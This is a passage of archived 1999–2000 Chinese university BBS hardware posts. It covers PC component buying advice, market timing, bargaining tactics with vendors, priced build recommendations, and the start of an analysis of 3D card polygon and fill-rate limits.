还想对那些经常进行三维图形处理的朋友提个建议，现在市面上对三维图形 处理软件(如3D Studio MAX）支持最好的显卡，除了几万元的专业显卡外就 要数Permedia 2了，虽然价格不贵（8M显存的三、四百元就可以拿下）但是 对专业软件的支持在千元以下的显卡中无人能出其右。 选购显卡时要注意两点。一是品牌，因为同是采用INTEL I740芯片的显 卡，由于品牌不同其价格也各不相同，名牌显卡的价格可能是一般杂牌显卡 的两到三倍。有些奸商有可能用的是杂牌卡，报价却是名牌卡的价格。二是 显存的大小，采用同样芯片的显卡所用的显存数量可能不尽相同，例如 Voodoo 2就有8MB和12MB之分，Permedia 2也有4MB和8MB两种。如果不加注 意的话，就会又有一笔不小的差价进入到奸商的腰包里了。 6、显示器 目前大部分应用软件的最佳分辨率都是在800×600，因此选择一台15” 显示器就可以满足日常应用的需要了。目前市场上的显示器大部分都是在国 内生产的，采用的显像管也都大同小异，因此质量和性能也相差无几。家庭 用户可以选择一些比较有名的国产品牌彩显，价格不贵，而且性能不俗。如 果预算多一点的话，可以选择飞利浦、三星、ACER等品牌的彩显，可以获得 更好的性能和更漂亮的外型。如果你是一个对于显示要求非常高的电脑使用 者的话，采用SONY特丽珑显像管和三菱钻石珑显像管的彩显对于图像的还原 效果是最好的。不过有一点需要注意的是，SONY特丽珑彩显和采用SONY特丽 珑显像管的彩显虽然在主要部件上是相同的，但是由于SONY的独特技术，使 得SONY彩显的显像质量明显比其他彩显要高出一筹，不过价格上也要高出一 筹。虽然目前主流显示器是以15”显示器为主，但是随着17”显示器价格的 逐渐下跌，17”显示器成为主流的日子也相去不远了。考虑到显示器在整台 电脑中处于一个相对比较稳定的地位，即使是电脑玩家也不可能经常的升级 或调换，因此如果预算充足的话，选择17”的显示器可以在一定的范围内保 护你的投资。 显示器在一台电脑价格里所占的比例相当大，而且使用的时间也相对较 长。所以选购一台品质优良的显示器是非常必要的。尽量不要选择杂牌显示 器，这些杂牌显示器所用的彩管都是返修货或处理品，质量相当没有保证， 经常会有“点不亮”的情况发生。对于品牌显示器也要精挑细选，最好让商 家接上一台电脑，把屏幕全部调为纯色，看看屏幕上有没有黑点，有没有色 偏、散焦、边缘不齐等情况发生，如果有的话坚决不能要。另外，最好能够 选择通过TCO认证的显示器，这种显示器的辐射非常的小，几乎对人体不可能 造成什么影响。 7、多媒体配件 多媒体配件一般包括光驱和声卡，这两样配件是组成一台多媒体电脑所 必不可少的配件。光驱选择唯一公认的标准就是它的读盘能力，“不管什么 光驱，能读烂盘的就是好光驱”已经成为人们选择光驱习惯。选择光驱的时 候，最好自己带几张盘片亲自测试一下。声卡的选择也比较简单。目前市场 上的声卡已经从ISA总线接口过渡到了PCI总线接口。一般较为廉价的声卡推 荐采用YAMAHA724芯片的声卡，效果较其他芯片的声卡要明显胜出一筹，而 且还可以通过驱动程序实现对A3D甚至EAX的支持，对游戏的支持也非常的 好。游戏玩家可以选择支持硬件A3D的帝盟S90，配合一款质量良好的音箱， 在游戏中的表现肯定比软件模拟的YAMAHA724要强的多了。预算充足的话你 也可以选择更加高级的Sound Blaster Live! Value和帝盟的MX300，充分 体验一下3D音效给你带来的听觉冲击。 8、其他配件 其他配件包括软驱、机箱、键盘和鼠标。这几样配件并没有太大的讲 究，可以在选购时根据自己的喜好来配置。不过需要提醒注意的是机箱的选 择，一款好的机箱对整台电脑的性能会造成非常大的影响，千万不能掉以轻 心。特别是随机箱附带的电源更是不能马虎，一定要挑选符合安全规范的电 源。三四百元的技展、银河和顺新等品牌的机箱相对来说都不错，机箱非常 的结实，而且所配的电源都经过了国家的安全检测。一般机箱都是带电源一 起出售的，如果商家要你另外付出电源的钱的话，你完全可以拒绝接受。另 外还要防止商家将机箱里的好电源换成杂牌电源。 通过对上面对几个主要配件的介绍，我想你的心里一定对自己理想中的 电脑有了一个雏形了。这个时候你还需要对市场行情进行了解，收集各种配 件的技术性能和特点。了解目前电脑市场的走势，价格的升降。多跑跑电脑 市场，和摊主聊聊天，增进对配件知识的了解。也可以进行几次模拟练习， 试着和摊主侃侃价，讨论一下配置。另外一方面对报纸杂志上的产品推荐多 加留意，从中了解一些市场情况。但要记住一点“尽信书不如无书” 报刊杂 志上的一些文章可能是厂商为了宣传自己的产品而找人写的枪手文章。把报 章杂志和别人的推荐作为重要参考，相信你自己的选择，再一次次的经验之 后，你也会变成一个DIY老鸟的。 有了一定的准备，在资金到位的情况下，我们将进入第二个阶段： “电脑采购策略综述——市场采购篇”将在近日刊登，请朋友们继续关注。 飞翔鸟 Luckyboy、guang 1999年8月28日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.165] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 电脑采购策略综述——市场采购篇 发信站: 日月光华站 (Sun Sep 12 20:22:23 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 电脑市场采购 首先要了解市场行情的周期性变化规律。电脑是一种高科技产品，开发 商通过不断的推出新品来回收成本和降低售价，一台电脑从你购买的那天起 就开始贬值，因此选择适当的时机购买电脑可以使电脑的贬值速度变慢。电 脑市场的价格波动有着一定的规律，掌握的这个规律，在最低价位时买进电 脑，说不定过一段时间你的配件不会降价反而会涨价呢！一般来说，电脑市 场在每年三月份左右处于一个青黄不接的时间段。这段时间里由于刚刚过完 年，个人用户购买电脑的可能性非常小，而且大的厂商还没有开始上班，因 此买电脑的人和可以买的货都很少。等到四五月份的时候，配件厂商开始推 出一系列新品，各种各样的电脑配件涌入电脑市场。商家为了招揽顾客，抢 占更多的市场份额，纷纷打出了降价牌。这段时间的电脑价格变化非常明 显，降价速度非常快，而且新品迭出。不过在这段时间里，不推荐选购电 脑。因为厂商的降价还有一定的空间，还没有降到最低的时候。另外某些不 负责任的厂商推出的新品并没有经过非常严格的测试，而是把第一批消费者 当成了测试者。因此这段时间里电脑配件的价格和性能都不是非常稳定。等 到六月份时，电脑市场的价格将进入一年中的最低点，这个时候将是选购电 脑的黄金时机。有电脑的朋友也可以趁着这个机会升级自己的内存和硬盘， 因为此时这两样配件的价格必定是最便宜的。等到六月底七月初，电脑市场 的价格就会像进入七月的温度计水银柱般嗖嗖地往上涨。某些配件的价格甚 至会有百分之五十以上的涨幅。这主要是由于这段时间中小学生选购电脑的 人数比较多，商家为了多赚一点而提高了价格。这段时间选购电脑产品的要 么是单位用户，要么就是菜鸟级用户。进入八月以后，电脑配件的价格就会 以缓慢的速度开始下降，电脑商的生意也日渐清淡起来。九月份开学的时 候，又会有一个销售高峰，配件的价格在小涨之后，在十到十一月份回落。 十二月底是圣诞节，这段时间一些大的厂商要进行一年中最后的促销活动， 一些配件会出现非常令人惊喜的价格。这段时间里，年初推出的新品性能趋 于稳定，而价格也处在一个相对较低的价位。这段时间选购电脑可以有一个 好价位，有电脑的朋友也可以在这段时间里升级显卡、声卡之类的配件。 一、二月份恰逢中国人传统的旧历年，国内的一些大供货商放假休息。因此 这段时间里某些配件的货源比较紧张，从而也带动了配件市场价格的上涨。 建议这段时间里不要轻易选购电脑配件，还是等到来年再说吧。经过这么一 番长篇大论，不知道大家对于电脑市场一年的大致走势是不是已经心里有数 了。一些大厂商如INTEL，每年进行的点仓行动也是符合电脑市场的这一周期 变化的。另外还有一些特殊的原因，例如去年的大规模的反走私运动也从另 一个方面致使电脑市场的价格上涨的非常厉害。想要准确的了解市场行情的 变化，本站的各地市场行情非常值得你的关注。 把握适当的时机选购和升级电脑可以为你节约很多资金。而掌握一定的 侃价技巧也是在选购过程中必不可少的。做生意当然都是想赚钱的，对于每 一样电脑配件商家都有一个最低的心理价位，这个价位和实际标价之间的几 十元差价就是我们要侃的部分了。当然侃多侃少不光要看你的嘴皮子是否利 落，还要掌握一定的规律。 首先，在购买之前，你应该对经销商所卖配件的利润做到心中有数，随 着现在配件市场竞争的日趋激烈，那种卖一条内存就挣几百甚至上千元的日 子一去不复返了，一般来说，CPU中的高端产品，如PIII和K6-III利润较 大，能达到百元以上，而低端的赛扬和K6-2就没有什么钱好赚了，顶多三、 五十元。主板的利润一般有五十元左右。显卡的情况与CPU类似，也是高端产 品、新产品的利润大一些。显示器由于价格昂贵，一般的利润在50－200元左 右，相比之下，声卡、内存等的利润就要小多了，通常只有五十元以下。如 果经销商卖的不是自己代理的产品而是从别的柜台抓货的话，利润就更小 了，有时赚个5元、10元就肯出手。因此在市场中买货的时候，你可千万别指 望能像夜市、地摊上那样，1000元的东西500元拿下。如果你一次还价还的 太多的话，他根本连说都懒得跟你说就一口回绝了，或者他会认为你对配件 价格根本不了解，于是便用假货来骗你。如果你还价的范围合适，再加上几 句“我知道你的利润也不高”或者“我知道这个的利润也就XX元”之类的 话，奸商就会知道你是个懂行的主，侃起价来也就相对容易了许多。另外， 我还要给各位提个醒儿，某些我们不注意的地方，也就是奸商最容易把钱赚 到的地方，典型的例子当数各种计算机耗材�D�D硬盘线、电源线、显示器信 号电缆、插线板等等，尽管它们的价格不贵，但实际上商家的利润是非常高 的，以最常见的硬盘线为例，进价一般为一元多，开价可以达到五元，利润 有300％之高！ 其次，你要学会和商家拉关系，北京话称为“套磁”，同他们讨论一些 技术问题或者一起感叹生意不好做什么的，很容易就能博得商家们的好感， 也就能得到一个比较实在的报价了，有时候和商家聊熟了，让他记住你，以 后再来买东西或换东西就方便了许多。如果你经常性地需要购买计算机配 件，不妨多用用这种方法。 再次，寻价的时候要学会“不懂装懂”，把从书上刚刚看到的东西拿来 “现炒现卖”，你甚至可以给商家们挑错（大部分商家的技术水平是很菜 的），让商家觉得你不是一般的“菜鸟”，他也就不会蒙你了。不过要记 住，吹归吹，适可而止，闹出“我的内存是8.4G”一类的笑话可就麻烦了。 第四，现在配件的价格透明度很高，多跑些市场、柜台，多寻寻价，很 快就可以掌握配件的大概价格范围，做到心里有底，侃价的时候也就不会显 得那么盲目了。以中关村的电子市场为例，科苑电子市场虽然是人气最旺的 市场，但并不一定是价格最低的，有时候在不起眼的商悦市场中你反而可以 得到最低的报价。有的时候，你跑了不少柜台，结果发现大家的报价都一 样，而且没有什么侃价的余地，这种情况通常是总代理为了防止经销商或下 级代理恶性降价而采取的限价措施，即每天的配件价格均由总代理视当日情 况规定，经销商没有定价的权利，在这种情况下，侃价就没有什么用武之地 了，因为如果谁违反规定低出，谁就会被重罚，严重的甚至会被取消代理资 格，所以没有人敢冒这个险。限价行为多发生在一些著名品牌身上，比如华 硕、梅捷主板或者昆腾硬盘等。在若干柜台寻价之后，如果你发现有个别柜 台的报价大大低于其它柜台的平均报价，先不要急于购买，这时候就需要你 自己思量思量了。依笔者的经验，出现这种情况一般有两个原因：一是这个 柜台手中根本没货，他是在以一种“我不做你们也别做”的心态乱报价搅乱 市场，这种奸商市场中多的很；二是他卖的不是水货便是假货，比如Remark 的PII 400一般比真的要便宜100多元，就是这个道理。对于这种奸商，还是 不去搭理为妙，以免买的东西质量、售后服务上都没有保证。 最后，在侃价的语言表达上也有一定的技巧。“我要五个，你给我便宜 点。”“你直接给我个底价吧！”“我先买一个试试，要是好的话我回头再 到你这里来买”一类的话您别心虚，尽管放心说，既然是“无歼不商”，那 咱们自己也得先学的机灵些，虚虚实实，实实虚虚，往往能得到意想不到的 效果。笔者自己最常用的也正是这种方法�D�D到一个柜台先问：“这个×× ×多少钱呀？”待得到一个较合理的报价后，摆出一副胸有成竹的样子，用 真诚、老练的目光望着对方爽快地说：“你给我个底价吧！”或者是“我买 五个，你给我个最低价。”通常这个时候商家会报给你一个低一些的价格， 以这个报价为标准，再去其它柜台询问，很快便能得到最低价了。 此外，在中关村，商家所报的价格一般是不带税的，如果需要开发票的 话，则要另外再加5％的税钱，但是有的时候也有例外，比如前一阵子的某打 印机，报价中均含税，因此寻价时您一定要问清楚，如果是带税的价格就别 忘了管经销商要发票。在这里，我还想说几句关于质保的注意事项，按中关 村的习惯，各商家的货都有自己的保修贴，也就是一个一厘米长、半厘米宽 的小长方形贴纸，上面标有配件购买的时间，俗称“签儿”。经销商在质保 时，主要是看“签儿”上的时间，有的奸商为了减少质保时间，会把保修贴 上的时间写提前一、两个月，对于这种情况，请一定注意，留意“签儿”上 的时间也是避免买到返修货的好方法。当然，除了“签儿”之外，收据或者 质保单也是必不可少的，上面别忘了让经销商写清楚配件的型号、价格、保 换多长时间，保修多长时间，万一以后有了什么纠纷可以有个凭据。 说了这么多，无非是想让大家都能少花钱多办事、办好事。不过话又说 回来，经销商们也是在凭着自己的劳动赚钱，每天工作8小时，每周只休息一 天甚至根本没有休息日，的确很辛苦。本人经常同他们打交道，因此也很体 谅他们的苦衷。这年头谁挣些钱都不容易，买东西的时候多用交朋友的心态 去面对他们，善意侃价，以诚相待，才是最重要的。 “电脑采购策略综述——配置推荐篇”将在近日刊登，请朋友们继续关注。 飞翔鸟 Luckyboy、guang 1999年9月2日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.216] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 电脑采购策略综述——配置推荐篇 发信站: 日月光华站 (Sun Sep 12 20:23:01 1999) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 主流配置推荐 做了这么多采购前的准备活动，上战场的时候到了，下面就把笔者给朋 友们装机时的配置按入门、一般应用、高级应用、发烧、家用图形工作站五 个级别给大家列出来，供各位购机时参考。 入门级： CPU：AMD K6-2 350 散包370元 主板：磐英MVP3G MVP3芯片 680元 内存：LG 64M SDRAM PC100 520元 硬盘：昆腾火球8代6.4G 930元 显卡：金鹰 i740 8M 300元 显示器：Acer 57C 15寸 1450元 光驱：源兴36× 410元 声卡：Yamaha 724 PCI 110元 软驱：Sony 1.44 130元 音箱：冲击波FAT-240 150元 机箱：保利得立式 250元 键盘：Acer 6511-TW 80元 鼠标：双飞燕4D 65元 共约5400元左右 入门级配置中CPU选用AMD K6-2 350，虽然其浮点运算能力不及同主频 PII，但是其整数运算速度很快，足以应付一般的文字处理，上网等工作需 要，选择它的另外一个重要原因是其低廉的价格，散包货只要370元，不过市 场中散包K6-2 350假货极多，购买时最好能有懂行人士陪同，以免上当受 骗。 可以搭配K6-2 350的主板有很多，我在这里选用磐英MVP3G，它使用的 是VIA MVP3芯片组。磐英的Super 7主板一向质量过硬，口碑不错，只可惜 这块板子的价格稍高。 64M内存已经成为如今装机的标准配置，尽管经历了近期的内存大涨 价，LG T7J依然是市场中性价比最高的内存。 昆腾火球系列速度快，稳定性好，价格适中，在家用市场的占有率可以 说是无人可及，6.4G的容量对于入门级的用户来说足够用上一阵子了。只可 惜它的DMA66功能因为主板芯片组不支持而无法发挥作用。 在这套入门级配置中，最让人头疼的便是显卡的选择，由于早期MVP3芯 片组的AGP性能不佳，许多AGP显卡都不能很好地在这种主板上工作，i740便 是其中的代表，但是最新的MVP3芯片组已经改善了这方面的兼容问题，通过 加载主板芯片组的驱动程序，i740显卡已经可以很好地在其上面工作了。 Intel i740显卡可以说是低端3D应用中最好的解决方案，无论是游戏还是工 作，都能够胜任，正因为是Intel的产品，许多游戏都专门加强了对其的支 持，再加上低廉的价格，这些都是我选择它的原因。 显示器我选择的是Acer 57C，它采用了具有独特省电功能的微径显像管 技术，降低了能耗，节约了能源，最高分辨率可以达到1280×1024@60Mhz， 在1024×768时屏幕刷新频率可以达到85Mhz，更难能可贵的是，做为一款只 有1400多元的中档15寸显示器，它通过了TCO95认证，与同档次的飞利浦、 三星相比，显得超值许多。 源兴光驱自从进入大陆市场后便一直得到消费者们的青睐，成为市场中 销量最大的光驱产品，源兴光驱的识盘率、速度和稳定性一直都是同类产品 中佼佼者，其价格也不昂贵，这款36速便是其典型代表。 多媒体配件我选择的是PCI接口的Yamaha 724声卡和低档冲击波木制音 箱。Yamaha724声卡继承Yamaha公司在音响器材上的优点，性能出色，价格 便宜，很适合刚刚入门的朋友使用。150元的木制冲击波音箱虽然对于发烧友 来说音质要差一些，但是用于非专业人士听听MP3，打打游戏则绰绰有余了。 机箱这东西一向是个人有个人的喜好，笔者在这里就不多说什么了，只 是请各位注意一定要挑一个好一些的电源，比如长城、银河等等。 键盘我选的是Acer 6511-TW，这款键盘外观呈流线型设计，样子小巧可 爱，手感很好且价格便宜。鼠标我选用的是口碑极佳的国货双飞燕4D，其精 巧的飞轮设计早已成为网络时代必不可少的工具。 这款入门级配置可以用于文字处理、上网、看影碟以及简单的3D游戏， 对于一般家庭来说已经足够用了。 　 一般应用级： CPU：Intel 赛扬333 370式 散包500元 主板：梅捷6IZA ZX芯片 710元 内存：LG 64M SDRAM PC100 520元 硬盘：昆腾火球8代6.4G 930元 显卡：创新Riva TNT 16M 780元 显示器：Acer 57C 15寸 1450元 光驱：源兴36× 410元 软驱：Sony 1.44 130元 声卡：帝盟S90 PCI 290元 音箱：冲击波FAA-241 230元 机箱：保利得立式 250元 键盘：Acer 52M 120元 鼠标：双飞燕4D 65元 共约6400元左右 做为一般应用来说赛扬333的性能已经足够，Socket 370接口经过几个 月的发展业已成熟，可以搭配使用的主板类型也很多，梅捷6IZA便是其中一 款，梅捷主板在国外知名度很高，进入国内市场不久便凭借优良的品质赢得 不少朋友的青睐。6IZA使用的是Intel ZX芯片组，支持66到133Mhz的多种外 频，继承了梅捷主板的一贯优点，性能稳定。 显卡的选择上，虽然第四代显卡纷纷上市，但是对一般应用来说，Riva TNT还是绰绰有余的，做为一块上市有一段时间的显卡来说，其驱动程序和制 作工艺均已成熟，游戏的支持程度也比新显卡好一些，不需要太多的补丁程 序，可以为使用者省去不少麻烦。 帝盟S90声卡支持A3D1.0标准且对DOS程序的兼容性极佳，配合230元的 冲击波FAA-241木制音箱，是一般应用的最佳选择。 其它配件在前面均已介绍过，这里不再赘述。 这款一般应用级配置适用于那些手头不宽裕而又对3D游戏十分感兴趣的 朋友，当然，它足以胜任文字处理、上网等工作，此外，它还可以满足您进 行简单3D图形处理的需要。 　 高级应用级： CPU：Intel 赛扬400 370式 散包650元＋华硕转接卡130元 主板：梅捷6BA+III BX芯片 1070元 内存：LG 128M SDRAM PC100 1050元 硬盘：昆腾火球9代10.2G 1150元 显卡：Voodoo3 2000 990元 显示器：Acer 77E 17寸 2300元 光驱：源兴40× 430元 软驱：Sony 1.44 130元 声卡：创新SB Live Value 600元 音箱：PC Works 4.1 630元 机箱：保利得立式 300元 键盘：Acer 52M 120元 鼠标：双飞燕4D 65元 共约9600元左右 Intel赛扬系列凭借其强大的浮点运算能力，不俗的整数性能以及低廉 的售价，一直受到笔者的喜爱。在这款高级应用级机型中，我选择的便是新 上市的赛扬400，它的外频是66Mhz，Socket 370接口，如果你在市面上见到 了Slot 1接口100外频的赛扬400，千万不要购买，那一定是用老赛扬266 Remark过的假货。华硕Slocket转接卡的做工精良，质量一直是同类产品中 最好的，而且华硕转接卡上还带有CPU核心电压调节跳线，可以让用户方便地 自行调整CPU电压，以增加超频的成功性。虽然在这里我们并不需要超频，但 是一块好的转接卡总让人感觉到踏实。 梅捷6BA+III是继梅捷6BA+后又一款出色的BX主板，除了一些基本功能 比如温度监控、免跳线等以外，它还具有CPU电压微调、PCI 4分频等先进技 术，是BX主板中一款不可多得的精品。 因为这是一款高级应用级别的计算机，所以我给它配备了128M内存，与 64M相比，128M内存可以将系统的内存容量瓶颈降到最小。在一般的文字处 理中，128M和64M的速度差别并不明显，因此它的主要作用是大幅度提升大 型3D游戏和图形处理速度。 昆腾火球9代10.2G硬盘是新近才在市场中露面的，比8代8.4G容量大了 2G，价格仅贵50元，我们有什么理由不选择它呢。 由联想总代理的3d/fx正品Voodoo3 2000最近新改用了小盒包装，价格 也降到了十分诱人的999元，如果你口才够好，相信实际价格还要便宜不少。 虽然Voodoo系列的不支持AGP纹理、没有32位渲染受到广泛批评，但是事实 证明，在游戏中，我们更看重其速度而不是华而不实的图像效果，况且3d/fx 也不断在改进，刚刚推出的完整OPEN GL ICD就很好地说明了这一点。 Acer 77E在低档17寸显示器中的性能指标也许不是最优秀，但是其性价 比一定是最好的。最高分辨率1280×1024@67Mhz，带宽110，5种色温调节， OSD菜单，2300元的价格比起美格700E来说实在超值不少，况且最新的77E还 有通过TCO99认证的可选，但是价格要贵200元左右。 声卡和音箱我选择的是创新Sound Blaster Live Value和PC Works 4.1，创新的SB Live不用我多说相比各位都很清楚，从当初的SB 16到SB 64 再到现在的SB Live，创新在声卡的研发能力上一直居于声卡界的领先地 位，而PC Works 4.1环绕音箱，正是为了配合SB Live而生产的，虽然功率 不大且为塑料外壳，但是其效果却不是二、三百元的普通木制音箱所能比 的。 其它从略。 这款高级应用级配置是专为那些对3D游戏痴迷的朋友而准备的，由于拥 有Voodoo3 2000显卡和128M内存，即使是最新的3D游戏你也可以把它轻松搞 定。 　 发烧级； CPU：Intel PIII 450 1850元 主板：升技BE6 BX芯片 1280元 内存：Kingmax 128M SDRAM PC100 1140元 硬盘：IBM 15.2G 1420元 显卡：G400 32M单头 2100元 显示器：ADI GT56 17寸 3900元 光驱：Aopen 6×DVD 888元 软驱：Sony 1.44 130元 声卡：SB Live 1230元 音箱：PC Works 4.1 630元 机箱：银河立式 450元 键盘：Acer 52M 120元 鼠标：双飞燕4D 65元 共约15000元左右 从上面的配置大家可以看出，发烧级配置选用的几乎全是眼下最好的配 件，当然价格也是不菲。PIII 450我就不多介绍了，这是Intel处理器家族 的最新产品。升技的BE6主板也是是升技公司最近才推出的，它采用Intel BX芯片组，继承了升技传统的Soft Menu II和微电压调整功能，支持PC99规 范，此外，BE6还突破了BX芯片组不支持DMA66的限制，通过集成在主板上的 一块High Point HPT 366控制芯片，实现了对DMA66标准的支持，主板除了 原来两个支持DMA33的IDE接口外，还有两个支持DMA66的接口，分别以不同 的颜色表示，最多可以支持8个IDE设备。 显卡我选用的是MGA G400 32M显存单输出的版本，G400显示卡是当前 2D显示最快的显卡之一，它300Mhz的RAMDAC可以在高分辨率下得到较高的屏 幕刷新率。此外，G400还支持Bump Mapping环境凹凸贴图渲染技术。该技术 通过DirectX 6在游戏中得到体现，增加了3D场景的视觉真实感。MGA一向被 人诟病的没有完整OPEN GL ICD的问题也在最近发布的驱动中得到了解决， 这一切都是促使我选择G400的原因。 随着DVD的普及， DVD-ROM取代CD-ROM是大势所趋，在这里，我选择的 是Aopen 6速DVD光驱，它采用传统的E-IDE接口，对普通CD-ROM的读取速度 为24倍速。它支持的光盘格式很多，包括DVD-ROM、DVD-Video、CD-DA、 CD-ROM/XA、CD-R、CD-RW、Video CD等等。虽然这款DVD光驱的识盘速度较 慢且识盘能力一般，但888元的超低价格还是相当有诱惑力的。 俗话说“好马配好鞍”，一款万元以上的计算机没有一个好的显示器可 不行，在这里我推荐ADI GT56 17寸显示器，它采用的是SONY特丽珑显象 管，显示文本清晰，图像色彩艳丽，层次感强，价格也很平易，仅仅3900 元。 其它从略。 这款价格高达15000元左右的电脑配备了几乎当前最好的配件，性能自 然无可挑剔，无论是文字处理、上网、玩游戏还是图形处理，它的表现都不 会让你失望。 上面四款配置，主要面向于普通家庭用户，注重整机的娱乐功能，如果 硬要把它们用做专业图形处理，则有些勉为其难。各位不要着急，下面我将 向大家推荐一款主要应用于三维图形处理的家庭工作站级配置。 　 家用图形工作站： CPU：双Intel PIII 450 1850×2＝3700元 主板：艾崴DBD100 1500元 内存：Kingmax 128M ×2 2300元 硬盘：IBM 15.2G 1420元 显卡：Permedia 2 8M 320元 显示器：ADI GT56 17寸 3900元 光驱：源兴 40× 430元 软驱：Sony 1.44 130元 声卡：Yamaha 724 PCI 110元 音箱：冲击波FAT-240 150元 机箱：银河立式 450元 键盘：Acer 52M 120元 鼠标：双飞燕4D 65元 共约15000元左右 与上面的四款配置不同，这款图形工作站级配置更注重处理器的速度、 内存容量、显卡的专业加速能力和磁盘子系统的性能，而在普通应用级配置 中所注重的多媒体配件性能在这里则显得不再重要。 主板选用艾崴的DBD100双CPU主板，该主板使用BX芯片组，省去了专业 双CPU主板的SCSI接口，大大降低了成本，支持双PII、双PIII，通过Iwill 的转接卡还可以支持双赛扬处理器，给那些手头并不宽裕但又对处理器性能 有较高要求的用户带来了最佳解决方案。唯一美中不足的是该主板仅支持 Ultra DMA 33 IDE接口。 图形工作站对内存要求很高，在这里我选择的是256M 胜创 (Kingmax)PC133内存，性能比其PC100的产品要好，价格却相差无几。 拥有8M显存的Permedia 2显卡是目前低端显卡中对专业图形处理软件支 持的最好的3D图形加速卡，虽然价格便宜，但是其专业加速能力却非TNT、 Voodoo3等显卡所能比的。如果您要进行大量的图形处理工作又买不起昂贵 的高端专业图形加速卡的话，选择Permedia 2没错。 图形工作站对磁盘子系统的性能要求也比较高，特别是硬盘的容量， 10G以上才能满足需要。相信IBM 15.2G硬盘在这里可以轻松胜任。 就像网络服务器对显示器、显卡的要求不高一样，图形工作站对多媒体 配件的性能也没有什么特别的要求，够用即可。所以我选择了低档的Yamaha 724声卡和150元的冲击波音箱。其它配件前面已有介绍，这里不再赘述。 　 在电脑采购上的心得到这里就要暂时告一段落了，唠叨了这么，无非只 有一个愿望，那就是，祝愿所有的朋友们都能花最少的钱买到自己心目中的 完美PC！ 全文完 飞翔鸟 Luckyboy、guang 1999年9月4日 -- ※ 来源:·日月光华站 bbs.fudan.edu.cn·[FROM: 10.9.0.216] -------------------------------------------------------------------------------- [返回上一页] [本讨论区]
日月光华 -- Hardware精华区文章阅读 -------------------------------------------------------------------------------- 发信人: huxley (Roy), 信区: Hardware 标 题: 个人电脑合理配置粗探（一） 发信站: 日月光华站 (Sun Apr 9 14:02:05 2000) , 转信 (飞翔鸟硬件资讯站 birds.bta.net.cn) 我们知道一个木桶的容量决定于其中高度最低的木板，电脑的 配置大抵也是如此，虽然情况要复杂一些，而且情况总是在不断的 变化。 在电脑配置中普遍存在着：1、过分看重cpu的主频（品牌机和 一般装机商的惯常做法）；2、只追求主板和显卡的品牌和性能， 一味追求频率和帧数（很多DIYER的普遍作风）；事实上，早期的 个人电脑由于功能比较单一，其整体性能确实主要决定于cpu 的性 能，随着cpu技术的高速发展，情况已经有所变化，尤其是显示芯 片技术超摩尔效应的飞速推进，现在情况又有新的变化。我们知道 一般电脑主要由处理器、芯片组、存储设备、显示系统等部分组 成。其中cpu、显示芯片和存储设备技术的发展情况大致如下图， 可以看出存储系统由于没有突破性的发展，已经成为系统最大的瓶 颈，如果使用最新的显卡，那么CPU也可能成为瓶颈。虽然这些都 是相对的，但可以说系统的合理配置应该主要从cpu与显示系统、 存储系统的配搭方面考虑。 　 一、CPU和显示系统 几款流行3D加速卡的多边形处理能力,单位(Polygon/s) 多边形处理能力对3D处理速度的影响是很大的,它是限制着一 块3D卡所能达到最高速度. 因为在一个3D场景中, 多边形的数量是 一定的, 多边形处理能力/每帧中多边形数量=每帧帧速度.也就是 说, 如果不考虑像素填充率的影响, 多边形处理能力仅为500万/S 的 G400是不可能比处理能力为800万/S的Savage 4快的, 这多少 有点不可思议, 但实际上, 在对多边形要求较高的游戏中, 如Expandable, 多边形处理能力的多少与3D卡所能达到的最高帧 数是有直接关系的. 这就是为什么G400在低分辨率下性能不及其它 3D加速卡的原因. 像Savage 4这种低填充率的3D卡, 甚至可能在 320 X 200的分辨率下强于Voodoo3. 当然,在实际游戏中, 一般多 边形处理能力会首先限制着3D卡的速度, 毕竟, 现在任何一款3D卡 的填充率都能满足在640X480下的需求. 也许你会问, 那为什么G400在高分辨率下性能却比多边形处理 能力比自己高一倍的NT2还要好呢? 首先要说明的是, 多边形处理 能力并不会因为分辨率的高低而产生变化的,无论是320X200还是 1600X1200, 3D卡都能提供理论的多边形处理能力,当分辨率提高 时, 对3D卡提高的是像素填充率的要求,为什么G400的速度从 640x480-1024X768都如此平均呢, 很显然, G400较低的多边形处 理能力严重制约着其在低分辨率下的性能. 在低分辨率下, 多边形处理能力越高, 速度也就越快(当然, 这还得看CPU浮点性能而定, 相对来说, Voodoo3更宜在低分辨率下 取得较高的帧数) 3D卡所能达到的速度首先将会被多边形处理能力所限制(注意, 这主要是指在实际游戏环境中, 并不是指某些测试软件). 如果一 块3D卡在640x480下只能达到30fps的速度, 那无论这块卡填充率有 多高, 都不可能在其它分辨率上有所提高的. 相反, 如果一块3D卡 像素填充率较低, 我们不需要通过降低其分辨率来竟量达到其所能 得到的最大帧数. 不过这样的情况一般不太常见, 因为我还没有见 过多边形处理能力仅有100万/S, 但填充率可以达到300M/S的, 或 是填充率极低,多边形处理能力却很高的. 几款流行3D加速卡像素填充率 这就是为什么Voodoo1并没有采用8M显存的原因, 这并不仅仅 能使用更高分辨率, 原因是Voodoo1 45M/S的填充率无法在 800x600下提供令人满意的帧速. 从这一点, 可以看出3dfx在制定 多边形,填充率及显存数量上颇有一套, 这样何证了在合理的价格 下提供了合理的性能. 这就是为什么许多多边形处理或像素填充率 比Voodoo强的3D卡却无法达到Voodoo的效能, 原因是厂商忽略了填 充率与多边形处理能力合理的搭配. 对于选购3D加速卡来说, 由于填充率的多少将决定着该卡在不 同分辨率下的表现, 所以如果你只有14"显示器的话, 买一块填充 率为90-150M/S的3D卡就足够了, 而对于15"显示器来说, 拥有一块 150-250M/s的3D卡是必须的, 更高尺寸的显示器,则需要250M以上 的像素填充率才能很好的发挥. 对于那些对速度非常敏感的朋友来 说, 我推荐选择多边形处理能力更强的3D卡, 否则,你肯定会认为 购买G400 MAX还没有TNT2值.总之根据自己的实际情况选购最重要, G400 MAX在1280x1024下可以战胜所有同代对手, 但这并不代表它 是同代中速度最快的. 谈到像素填充率, 不能不说一下的是32bit渲染.通过实际使用 我们发现, 32bit色下性能将比16bit色下降不少, 是因为32bit下 多边形增多吗? 或是像素填充率提高了? 都不是. 